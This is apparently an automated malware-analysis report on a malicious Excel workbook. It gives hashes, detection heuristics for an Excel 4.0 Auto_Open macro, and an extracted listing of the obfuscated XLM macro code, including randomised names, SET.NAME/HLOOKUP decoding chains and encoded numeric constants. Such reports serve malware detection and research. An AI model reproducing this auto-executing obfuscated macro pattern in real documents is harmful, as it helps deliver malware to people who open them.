Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0deb650fd80913bc…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:27 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 94cab27136cb2bc0191bda4063115b8a SHA-1: d4838ad5c143496e2abcd0ef8916793cdc044533 SHA-256: 0deb650fd80913bc3cc6bc189f85b42f68096e1a1ae3aea2b5be1cfee7d69a72
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6520 bytes
SHA-256: f5fbead7b7d87b030c0edc504560baf137099a41c6dc3203456498134e3c9104
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AAm
' 0018     24 LABEL : Cell Value, String Constant - AiTPpKSzC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E152 
' 0018     25 LABEL : Cell Value, String Constant - cOXrkdgmgU len=0 
' 0018     25 LABEL : Cell Value, String Constant - ffYDLBjMuS len=0 
' 0018     25 LABEL : Cell Value, String Constant - fRGBgchkMt len=0 
' 0018     21 LABEL : Cell Value, String Constant - FXHHde len=0 
' 0018     20 LABEL : Cell Value, String Constant - hWaRJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - klxlwsbD len=0 
' 0018     21 LABEL : Cell Value, String Constant - ogYKPh len=0 
' 0018     22 LABEL : Cell Value, String Constant - OnntpBV len=0 
' 0018     26 LABEL : Cell Value, String Constant - PONdMogJtBu len=0 
' 0018     24 LABEL : Cell Value, String Constant - QCqBOyLKA len=0 
' 0018     22 LABEL : Cell Value, String Constant - tdyuifc len=0 
' 0018     20 LABEL : Cell Value, String Constant - THwBi len=0 
' 0018     22 LABEL : Cell Value, String Constant - tNHQGvi len=0 
' 0018     22 LABEL : Cell Value, String Constant - UJUGKid len=0 
' 0018     21 LABEL : Cell Value, String Constant - xoVYzO len=0 
' 0018     26 LABEL : Cell Value, String Constant - YWHbKiETqZT len=0 
' 0018     25 LABEL : Cell Value, String Constant - yzqHmhExFt len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZeEIMK len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZKBFVUn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AAm,E60,"SET.NAME("ogYKPh",0+VALUE("0"))",""
'  AAm,E65,"SET.NAME("yzqHmhExFt",ogYKPh)",""
'  AAm,E68,"SET.NAME("PONdMogJtBu",ogYKPh)",""
'  AAm,E70,"SET.NAME("tNHQGvi",COUNTA(AiTPpKSzC))",""
'  AAm,R72,"",141.00000000000000000000
'  AAm,R73,"",-102.00000000000000000000
'  AAm,R74,"",903.00000000000000000000
'  AAm,E75,"SET.NAME("THwBi",COUNTA(fRGBgchkMt))",""
'  AAm,R75,"",-281.00000000000000000000
'  AAm,R76,"",-11.00000000000000000000
'  AAm,R77,"",-204.00000000000000000000
'  AAm,E80,[],""
'  AAm,E84,"SET.NAME("tdyuifc","")",""
'  AAm,E86,"yzqHmhExFt",""
'  AAm,E88,"SET.NAME("YWHbKiETqZT",HLOOKUP("*",AiTPpKSzC,yzqHmhExFt,FALSE))",""
'  AAm,E92,"UJUGKid",""
'  AAm,E97,"SET.NAME("OnntpBV",ogYKPh)",""
'  AAm,E101,[],""
'  AAm,E105,"OnntpBV",""
'  AAm,E109,"QCqBOyLKA",""
'  AAm,E111,"xoVYzO",""
'  AAm,E115,"cOXrkdgmgU",""
'  AAm,E119,"SET.NAME("FXHHde",VALUE(HLOOKUP("*",fRGBgchkMt,cOXrkdgmgU,FALSE)))",""
'  AAm,E123,"ffYDLBjMuS",""
'  AAm,E127,"tdyuifc",""
'  AAm,E131,"PONdMogJtBu",""
'  AAm,E134,NEXT(),""
'  AAm,E136,"ZKBFVUn",""
'  AAm,E139,[],""
'  AAm,E143,"ZeEIMK",""
'  AAm,E148,NEXT(),""
'  AAm,E150,RETURN(),""
'  AAm,E176,"SET.NAME("klxlwsbD",E60)",""
'  AAm,E180,"AiTPpKSzC",""
'  AAm,E184,"SET.NAME("fRGBgchkMt",R53C11)",""
'  AAm,E189,"SET.NAME("ZeEIMK",196)",""
'  AAm,E192,"SET.NAME("hWaRJ",5)",""
'  AAm,E195,klxlwsbD(),""
'  AAm,E196,HALT(),""

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